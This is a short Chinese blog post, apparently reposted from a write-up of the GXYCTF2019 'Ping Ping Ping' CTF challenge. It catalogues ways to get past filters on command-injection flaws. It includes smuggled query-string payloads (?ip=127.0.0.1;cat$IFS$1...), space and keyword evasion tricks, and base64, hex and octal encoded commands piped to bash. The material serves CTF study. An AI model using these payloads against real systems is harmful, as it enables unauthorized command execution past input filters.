命令执行漏洞-绕过

面对命令执行漏洞,如果有规则检验,我们可以通过以下方式绕过:

空格绕过

  • ${IFS}
  • ${IFS}$1
  • $IFS$1
  • <和<>
  • {cat,flag}
  • %20替换
  • %0a (换行)
  • %0d (回车)
  • %09 (tab)

黑名单(关键字)绕过

  • 单引号、双引号绕过:c"at"t fl''ag
  • 反斜线绕过:ca\t fl\ag
  • 和num和@绕过:c$1at fl$@ag
  • 拼接绕过:a=c;b=at;c=fl;d=ag; $a$b $c$d (不用加|)
    • /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php或者
    • /?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
  • base64:
    • echo "Y2F0IGZsYWc="|base64 -d
    • echo "Y2F0IGZsYWc="|base64 -d|bash
    • |echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
  • hex编码绕过:
    • echo "0x63617420666c61670a" | xxd -r -p|bash
  • oct编码绕过:
    • $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
    • {printf,"\x63\x61\x74\x20\x66\x6c\x61\x67"}|$0

内联绕过:

所谓内联绕过就是将反引号内命令的输出作为输入执行,比如系统对flag字符进行了过滤,那么我们可以通过ls命令将flag.php输出作为输入,有以下两种方式:

  • ?ip=127.0.0.1;cat 'ls'
  • ?ip=127.0.0.1;cat $(ls)

转载出处:[GXYCTF2019]Ping Ping Ping 1【文件执行漏洞】 - 知乎

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值